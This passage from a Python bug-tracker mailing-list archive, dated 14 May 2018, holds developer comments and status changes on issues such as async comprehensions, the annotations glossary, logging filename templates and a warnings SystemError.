<1526326044.88.0.682650639539.issue33421@psf.upfronthosting.co.za> Change by Travis DePrato : ---------- pull_requests: +6507 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:28:49 2018 From: report at bugs.python.org (Travis DePrato) Date: Mon, 14 May 2018 19:28:49 +0000 Subject: [issue33421] Missing documentation for typing.AsyncContextManager In-Reply-To: <1525390394.87.0.682650639539.issue33421@psf.upfronthosting.co.za> Message-ID: <1526326129.16.0.682650639539.issue33421@psf.upfronthosting.co.za> Change by Travis DePrato : ---------- pull_requests: +6508 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:36:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 19:36:54 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526326614.92.0.682650639539.issue33465@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I think that in any case this test should be marked as CPython-only. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:38:35 2018 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 14 May 2018 19:38:35 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1526326715.85.0.682650639539.issue33346@psf.upfronthosting.co.za> Guido van Rossum added the comment: > [f: [x async for x in f(x)] for f in fs] Did you mean {} for the outer brackets intead of []? I think it is reasonable that if the presence of 'async for' or 'await' in a comprehension makes it async, then this should also apply if that comprehension is nested inside another. All of these should only be allowed inside 'async def' though, right? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:39:36 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 14 May 2018 19:39:36 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526326776.81.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Yes, all this also applies to 3.6. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:41:00 2018 From: report at bugs.python.org (Terry Thurk) Date: Mon, 14 May 2018 19:41:00 +0000 Subject: [issue29412] IndexError thrown on email.message.Message.get In-Reply-To: <1485957201.62.0.708721670813.issue29412@psf.upfronthosting.co.za> Message-ID: <1526326860.6.0.682650639539.issue29412@psf.upfronthosting.co.za> Change by Terry Thurk : ---------- pull_requests: +6509 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:41:13 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 14 May 2018 19:41:13 +0000 Subject: [issue18022] Inconsistency between quopri.decodestring() and email.quoprimime.decode() In-Reply-To: <1369059208.07.0.0770184639372.issue18022@psf.upfronthosting.co.za> Message-ID: <1526326873.26.0.682650639539.issue18022@psf.upfronthosting.co.za> R. David Murray added the comment: OK, I've finally gotten around to looking at this. It looks like quopri and binascii are not stripping trailing whitespace. quoprimime binascii quopri preferred b'=' '' b'' b'=' '=' b'= ' '' b'= ' b'= ' '=' b'= \n' '' b'= \n' b'' quoprimime binascii quopri b'=' '' b'' b'=' b'= ' '' b'= ' b'= ' b'= \n' '' b'= \n' b'' b'=\r' '' b'' b'=\r' b'==41' '=A' b'=41' b'=41' '=\n' b'=\r' '' b'' b'=\r' '=\r' b'==41' '=A' b'=41' b'=41' '=A' b'= \n f\n' ' f\n' b'= \n f\n' b'= \n f\n' ' f\n' The RFC recommends that a trailing = be preserved, but that trailing whitespace be ignored. It doesn't speak directly to the ==41 case, but one can infer that the first = in the == pair is most likely to have "come from the source text" and not been encoded, while the =41 was an intentional encoding and so should be decoded. Now, that said, the actual behavior that our libraries have had for a long time is to treat the "last line" just like all other lines, and strip a trailing =. So I would be inclined to keep that behavior for backward compatibility reasons rather than change it to be more RFC compliant, given that we don't have any actual bug report related to it, and "fixing" it could break things. Given that, the current quoprimime behavior becomes the reference. However, backward compatibility concerns also arise around starting to strip trailing space in quopri and binascii. Maybe we only make that change in 3.8? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:45:13 2018 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 14 May 2018 19:45:13 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526327113.24.0.682650639539.issue32769@psf.upfronthosting.co.za> Guido van Rossum added the comment: Before we backport this to 3.7 and 3.6, let's iterate on the wording a bit. I don't think the distinction between annotations and type hints is that annotations are materialized at runtime while type hints aren't. I think syntactically they are the same, but annotations are a slightly more general concept because they may be used for other purposes than to indicate the type of a variable (or argument, attribute etc.). So IMO in def f(): x: int 'int' is both an annotation and a type hint, OTOH in x: 'spam eggs ham' we have an annotation that is not a type hint. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:47:22 2018 From: report at bugs.python.org (Randy Wong) Date: Mon, 14 May 2018 19:47:22 +0000 Subject: [issue31445] Index out of range in get of message.EmailMessage.get() In-Reply-To: <1505296401.08.0.196475452437.issue31445@psf.upfronthosting.co.za> Message-ID: <1526327242.44.0.682650639539.issue31445@psf.upfronthosting.co.za> Randy Wong added the comment: Submitted pull request: fix-issue-31455: Changed by adding two lines in the module "email/_header_value_parser.py" into the function "get_mailbox_list(value)" before return mailbox_list, value to avoid IndexError. ---------- keywords: +patch nosy: +radar383 pull_requests: +6510 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:48:44 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 14 May 2018 19:48:44 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526327324.21.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: > ... but annotations are a slightly more general concept because they may be used for other purposes than to indicate the type of a variable ... Yes, I agree. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:50:51 2018 From: report at bugs.python.org (Roundup Robot) Date: Mon, 14 May 2018 19:50:51 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1526327451.79.0.682650639539.issue33462@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6511 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:51:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 19:51:15 +0000 Subject: [issue33440] Possible lazy import opportunities in `pathlib` In-Reply-To: <1525696120.71.0.682650639539.issue33440@psf.upfronthosting.co.za> Message-ID: <1526327475.95.0.682650639539.issue33440@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Did you mean the idea about module-level alias to dirname(__file__)? I think this is a dead horse. See issue33277. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:54:57 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 14 May 2018 19:54:57 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526327697.5.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: I see a conflict here in that annotations can be used for other purpouses, for example variable annotations, they are heavily intended for type hinting (PEP 526 says "This PEP aims at adding syntax to Python for annotating the types of variables (including class variables and instance variables), instead of expressing them through comments") I think it's correct to separate annotations from type hints, and say: annotations can be used for type hinting. I can make a new PR based on master having this in mind, and then cherry picking it for 3.7/3.6. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 15:55:11 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 14 May 2018 19:55:11 +0000 Subject: [issue33483] build system requires explicit compiler, but should discover it In-Reply-To: <1526236134.66.0.682650639539.issue33483@psf.upfronthosting.co.za> Message-ID: <1526327711.06.0.682650639539.issue33483@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Do you have an example where your patch will work and not the current configure.ac. Thank you. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:00:04 2018 From: report at bugs.python.org (Alex Walters) Date: Mon, 14 May 2018 20:00:04 +0000 Subject: [issue27546] Integrate tkinter and asyncio (and async) In-Reply-To: <1468815010.57.0.709565417017.issue27546@psf.upfronthosting.co.za> Message-ID: <1526328004.81.0.682650639539.issue27546@psf.upfronthosting.co.za> Change by Alex Walters : ---------- nosy: +tritium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:03:34 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 20:03:34 +0000 Subject: [issue33440] Possible lazy import opportunities in `pathlib` In-Reply-To: <1525696120.71.0.682650639539.issue33440@psf.upfronthosting.co.za> Message-ID: <1526328214.4.0.682650639539.issue33440@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Personally I support moving imports of rarely used modules into functions that need them. But this is against PEP 8 and should be discussed more widely. Perhaps this rule should be weaken, we have to state what exceptions are permitted. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:06:14 2018 From: report at bugs.python.org (Barbara) Date: Mon, 14 May 2018 20:06:14 +0000 Subject: [issue31445] Index out of range in get of message.EmailMessage.get() In-Reply-To: <1505296401.08.0.196475452437.issue31445@psf.upfronthosting.co.za> Message-ID: <1526328374.52.0.682650639539.issue31445@psf.upfronthosting.co.za> Change by Barbara : ---------- pull_requests: +6512 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:06:45 2018 From: report at bugs.python.org (Megan Sosey) Date: Mon, 14 May 2018 20:06:45 +0000 Subject: [issue24255] Replace debuglevel-related logic with logging In-Reply-To: <1432189554.94.0.727112934658.issue24255@psf.upfronthosting.co.za> Message-ID: <1526328405.0.0.682650639539.issue24255@psf.upfronthosting.co.za> Megan Sosey added the comment: I'm going to work on this one since the original reporter last commented 3 years ago. I took a quick look at how the other modules are handling logging to see if I could make it consistent, and they all do it a bit differently. It might be worthwhile considering normalizing logging across the modules at some point. I'm working with the python 3.8 currently on master. ---------- nosy: +msosey _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:20:14 2018 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 14 May 2018 20:20:14 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1526329214.76.0.682650639539.issue33475@psf.upfronthosting.co.za> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:22:44 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 14 May 2018 20:22:44 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526329364.89.0.682650639539.issue32769@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6513 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:33:57 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 14 May 2018 20:33:57 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526330037.86.0.682650639539.issue32769@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- versions: +Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:45:32 2018 From: report at bugs.python.org (Jimmy Lai) Date: Mon, 14 May 2018 20:45:32 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions Message-ID: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> New submission from Jimmy Lai : `ensure_future` converts the input as future if it's not already a future. The condition is the following: if futures.isfuture(coro_or_future): ... elif coroutines.iscoroutine(coro_or_future): ... elif inspect.isawaitable(coro_or_future): ... In real world, `ensure_future` is mostly called by `run_until_complete` and gather with async function call (coroutine) as input. We should check `iscoroutine` first to make it most efficient. ---------- components: asyncio messages: 316572 nosy: asvetlov, jimmylai, yselivanov priority: normal severity: normal status: open title: Optimize asyncio.ensure_future by reordering if conditions type: performance versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:53:27 2018 From: report at bugs.python.org (Steve R. Hastings) Date: Mon, 14 May 2018 20:53:27 +0000 Subject: [issue33506] [logging] template for filename timestamps Message-ID: <1526331207.94.0.682650639539.issue33506@psf.upfronthosting.co.za> New submission from Steve R. Hastings : When a logged file has a timed rotation, it is renamed with an archival filename that includes a timestamp. The logging library has a small set of predefined filename templates and no way is provided to override them. Also, the current rule is that while the file is in active use for logging, it will not have a timestamp in the filename; the filename will be something like: foo.log Then, at file rotation time, foo.log is closed and then renamed to an archival name that includes a timestamp (something like: foo-2018-05-14.log), and a new active log file is opened with the name foo.log again. Proposed enhancement: it should be possible to provide template codes that specify the format of the timestamp, and there should be an option that when the file is in active use its filename will include the timestamp. (Then at rotation time, the file is simply closed, with no need to rename it; and a new file with a new timestamp is opened.) For example, specifying a log filename of "foo-%Y%m%d-%H%M%S" would specify a filename like: foo-20180514-160000.log Use case: the company that employs me had a logging system requiring both of the above features. The timestamp in the filename had to be in a format different than the one format built-in to the logging module, and the timestamp needed to be in the file at all times. The logging system included a daemon that did the equivalent of tail -f on the logfile and collected log events as they were written. Note: I have written code that implements the features described above. Additional note: some template formats could cause a problem with deleting the oldest backup files. When the option backupCount is set to a number >= 1, then at rotation time the handler will check whether the number of backup files exceeds the specified count, and will delete the oldest files to reduce the number of backup files to exactly the backupCount number. The oldest files are found by sorting the filenames; the presumption is that the archival filenames will sort with the oldest files first. All the built-in templates produce filenames where this presumption is correct. A foolish user could specify a timestamp format where month appears before date, or hour appears before month, or any other template that does not follow this ordering: year/month/date/hour/minutes/seconds We could also add a feature where, when the template is specified and backupCount is specified, the handler will check that the template follows the ordering so that the oldest files do sort first, and raise an exception if the template doesn't follow the ordering. Alternatively, we can add a note in the documentation warning of this issue. ---------- components: Library (Lib) messages: 316573 nosy: steveha, vinay.sajip priority: normal severity: normal status: open title: [logging] template for filename timestamps type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:53:42 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 14 May 2018 20:53:42 +0000 Subject: [issue31500] IDLE: Tiny font on HiDPI display In-Reply-To: <1505674446.46.0.331613884884.issue31500@psf.upfronthosting.co.za> Message-ID: <1526331222.35.0.682650639539.issue31500@psf.upfronthosting.co.za> Terry J. Reedy added the comment: My inclination, then, is to close this issue and PR until there is a demonstrated need for change and a test machine to verify the fix for 2.7 and 8.5.19. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:55:45 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Mon, 14 May 2018 20:55:45 +0000 Subject: [issue33507] Improving the html rendered by cgitb.html Message-ID: <1526331345.66.0.682650639539.issue33507@psf.upfronthosting.co.za> New submission from St?phane Blondon : cgitb.html() returns HTML code viewable in a browser. It would be nice to improve the rendering to have something more readable (increase space between each call, increase contrast for the source code) and more modern. You can see the difference in the attached screenshot. ---------- components: Library (Lib) files: next.png messages: 316575 nosy: sblondon priority: normal severity: normal status: open title: Improving the html rendered by cgitb.html type: enhancement versions: Python 3.8 Added file: https://bugs.python.org/file47588/next.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:58:10 2018 From: report at bugs.python.org (Steve R. Hastings) Date: Mon, 14 May 2018 20:58:10 +0000 Subject: [issue33508] [logging] allow %p code to put PID into log filename Message-ID: <1526331490.03.0.682650639539.issue33508@psf.upfronthosting.co.za> New submission from Steve R. Hastings : Python logging is not multi-process safe. When a Python program has multiple processes, one way to log safely would be to put the process ID number into the filename of the log file, giving each process its own log file. It would be convenient if a %p format code would be expanded to the process ID number when the logging system opens the log file. ---------- components: Library (Lib) messages: 316576 nosy: steveha, vinay.sajip priority: normal severity: normal status: open title: [logging] allow %p code to put PID into log filename type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 16:59:02 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Mon, 14 May 2018 20:59:02 +0000 Subject: [issue33507] Improving the html rendered by cgitb.html In-Reply-To: <1526331345.66.0.682650639539.issue33507@psf.upfronthosting.co.za> Message-ID: <1526331542.93.0.682650639539.issue33507@psf.upfronthosting.co.za> St?phane Blondon added the comment: current.png is a screenshot of the html shown in a browser with 3.8 branch next.png is a screenshot of the modified cgitb.html() function. ---------- Added file: https://bugs.python.org/file47589/current.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:09:06 2018 From: report at bugs.python.org (Amber Brown) Date: Mon, 14 May 2018 21:09:06 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError Message-ID: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> New submission from Amber Brown : Reproducible with: import warnings warnings.warn_explicit("msg", DeprecationWarning, "name", 1, module_globals=None) ---------- components: Interpreter Core messages: 316578 nosy: hawkowl priority: normal severity: normal status: open title: warnings.warn_explicit with module_globals=True raises a SystemError type: crash versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:09:25 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 14 May 2018 21:09:25 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526332165.77.0.682650639539.issue33509@psf.upfronthosting.co.za> STINNER Victor added the comment: It may be related to: commit d4f8480dfe89447587550a85b61d4e9faf827e98 Author: Serhiy Storchaka Date: Sat Nov 11 15:19:47 2017 +0200 bpo-31572: Don't silence unexpected errors in the _warnings module. (#3731) Get rid of _PyObject_HasAttrId() and PyDict_GetItemString(). Silence only expected AttributeError, KeyError and ImportError when get an attribute, look up in a dict or import a module. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:11:28 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 14 May 2018 21:11:28 +0000 Subject: [issue31572] Avoid suppressing all exceptions in PyObject_HasAttr() In-Reply-To: <1506275205.91.0.662869765666.issue31572@psf.upfronthosting.co.za> Message-ID: <1526332288.8.0.682650639539.issue31572@psf.upfronthosting.co.za> STINNER Victor added the comment: It seems like this issue caused a regression in _warnings: please see bpo-33509. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:12:04 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 14 May 2018 21:12:04 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526332324.18.0.682650639539.issue33509@psf.upfronthosting.co.za> STINNER Victor added the comment: I choose the release blocker priority, since IMHO it's an easy fix. ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:16:54 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 21:16:54 +0000 Subject: [issue33502] dataclasses: repr of _DataclassParams objects should use repr of each member In-Reply-To: <1526319739.29.0.682650639539.issue33502@psf.upfronthosting.co.za> Message-ID: <1526332614.81.0.682650639539.issue33502@psf.upfronthosting.co.za> Eric V. Smith added the comment: New changeset 3059042410dce69806b94be72d5c8055d616f3a3 by Eric V. Smith in branch 'master': bpo-33502: dataclass._Dataclassparams repr: use repr of each member. (GH-6812) https://github.com/python/cpython/commit/3059042410dce69806b94be72d5c8055d616f3a3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:18:01 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 21:18:01 +0000 Subject: [issue33502] dataclasses: repr of _DataclassParams objects should use repr of each member In-Reply-To: <1526319739.29.0.682650639539.issue33502@psf.upfronthosting.co.za> Message-ID: <1526332681.36.0.682650639539.issue33502@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6514 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:18:38 2018 From: report at bugs.python.org (Jimmy Lai) Date: Mon, 14 May 2018 21:18:38 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions In-Reply-To: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> Message-ID: <1526332718.12.0.682650639539.issue33505@psf.upfronthosting.co.za> Change by Jimmy Lai : ---------- keywords: +patch pull_requests: +6515 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:27:16 2018 From: report at bugs.python.org (Carl Meyer) Date: Mon, 14 May 2018 21:27:16 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526333236.23.0.682650639539.issue33499@psf.upfronthosting.co.za> Carl Meyer added the comment: Per vstinner Python prefers to not have underscores in environment variable names, for historical reasons. So I'm using `PYTHONBYTECODEPATH` as the env var. Other open questions: 1) Does there need to be a corresponding CLI flag, or is env-var-only sufficient? 2) Is it OK to check the environ every time, or do we need to cache its value in a `sys` flag at startup? Will push an initial version for review that has no CLI flag nor `sys` attribute. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:28:58 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 14 May 2018 21:28:58 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1526333338.82.0.682650639539.issue33346@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Did you mean {} for the outer brackets intead of []? Yes, my bad. > All of these should only be allowed inside 'async def' though, right? Yep, except async generator expressions which are allowed to appear in synchronous contexts, e.g.: def foo(): return (i async for i in ai) (this already works in 3.7). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:31:32 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 14 May 2018 21:31:32 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526333492.02.0.682650639539.issue33509@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6516 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:44:49 2018 From: report at bugs.python.org (Eitan Adler) Date: Mon, 14 May 2018 21:44:49 +0000 Subject: [issue33483] build system requires explicit compiler, but should discover it In-Reply-To: <1526236134.66.0.682650639539.issue33483@psf.upfronthosting.co.za> Message-ID: <1526334289.52.0.682650639539.issue33483@psf.upfronthosting.co.za> Eitan Adler added the comment: On any system where "gcc" is not the correct compiler to use. If it does not exist, is too old, points to the incorrect compiler, etc. Concretely I have two such systems: - on one, "gcc" does not exist - on the other "gcc" is actually a hardlink to "clang" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:51:25 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 21:51:25 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526334685.79.0.682650639539.issue33509@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This bug was before commit d4f8480dfe89447587550a85b61d4e9faf827e98. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:52:23 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 14 May 2018 21:52:23 +0000 Subject: [issue32731] getpass.getuser() raises an unspecified exceptions (ImportError, OSError, etc) In-Reply-To: <1517421752.06.0.467229070634.issue32731@psf.upfronthosting.co.za> Message-ID: <1526334743.49.0.682650639539.issue32731@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi, For the wording, I have no suggestions but seems to be fine. For the rest, I think you have modified the documentation and it's fine and we don't talk about the code. We could merge the PR for the documentation and maybe you could create a new PR for the code. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:52:23 2018 From: report at bugs.python.org (Carl Meyer) Date: Mon, 14 May 2018 21:52:23 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526334743.52.0.682650639539.issue33499@psf.upfronthosting.co.za> Change by Carl Meyer : ---------- keywords: +patch pull_requests: +6517 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:52:45 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 14 May 2018 21:52:45 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526334765.46.0.682650639539.issue20104@psf.upfronthosting.co.za> Gregory P. Smith added the comment: New changeset 8e633a4035bcff458c45fa095f4b8eab2f158466 by Gregory P. Smith (Pablo Galindo) in branch '3.7': bpo-20104: Remove posix_spawn from 3.7 (GH-6794) https://github.com/python/cpython/commit/8e633a4035bcff458c45fa095f4b8eab2f158466 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:53:14 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 14 May 2018 21:53:14 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526334794.82.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- priority: release blocker -> normal versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 17:53:37 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 14 May 2018 21:53:37 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526334817.53.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:03:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 22:03:58 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526335438.87.0.682650639539.issue32861@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 3936fd7b2c271f723d1a98fda3ca9c7efd329c04 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.6': [3.7] bpo-32861: urllib.robotparser fix incomplete __str__ methods. (GH-5711) (GH-6795) (GH-6818) https://github.com/python/cpython/commit/3936fd7b2c271f723d1a98fda3ca9c7efd329c04 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:06:04 2018 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 14 May 2018 22:06:04 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1526333338.82.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Is there any problem that is solved by allowing this example? The asymmetry with using [...async for...] in the same position (which is not allowed) worries me. Do you have a real use case where it's clearer to write an async generator expression instead of a nested async function? def foo(): async def inner(): async for i in ai: yield i return inner I would encourage you to think about various ways of nesting async generator expressions and comprehensions to see if you can poke a hole in the design. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:07:48 2018 From: report at bugs.python.org (Jimmy Lai) Date: Mon, 14 May 2018 22:07:48 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions In-Reply-To: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> Message-ID: <1526335668.4.0.682650639539.issue33505@psf.upfronthosting.co.za> Change by Jimmy Lai : ---------- pull_requests: +6518 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:09:49 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 22:09:49 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526335789.5.0.682650639539.issue32861@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 861d38443d4b85cdc7b87afc4adee55f51c2f4b3 by Serhiy Storchaka in branch '2.7': [2.7] 